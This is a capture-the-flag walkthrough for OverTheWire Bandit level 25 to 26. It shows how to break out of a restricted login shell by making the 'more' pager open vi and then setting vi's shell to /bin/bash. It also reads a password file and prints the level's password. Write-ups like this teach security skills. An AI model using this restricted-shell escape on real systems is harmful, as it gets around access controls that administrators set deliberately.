Bandit 25 → 26
Goal: get a real shell as bandit26, whose login program is a pager, then read its password.
Approach
Section titled “Approach”-
First, inspect why a normal login fails:
bandit26’s shell isshowtext, a pager wrapper.bandit25@bandit bandit25@bandit:~$ grep bandit26 /etc/passwdbandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtextbandit25@bandit:~$ cat /usr/bin/showtext#!/bin/shexport TERM=linuxexec more ~/text.txtexit 0 -
Shrink the terminal window so more has to paginate, log in with the key, then break out through
vi.bandit25@bandit bandit25@bandit:~$ ssh -i bandit26.sshkey bandit26@bandit.labs.overthewire.org -p 2220# in the more pager, press v to open vi, then inside vi::set shell=/bin/bash:shellbandit26@bandit:~$ cat /etc/bandit_pass/bandit26The password you are looking for is: <password>
Password
s0773xxkk0MXfdqOfPRVr9L3jJBUOgCZWhy it works
Section titled “Why it works”bandit26’s login shell is not a shell, it is showtext, which runs more on a text file and exits. But more is interactive: with a small enough window it pauses, allowing you to press v and open its configured editor (vi). From vi you can repoint the editor’s shell to bash and spawn it, escaping the pager into a full session. Interactive programs that launch other programs are classic restricted-shell escapes.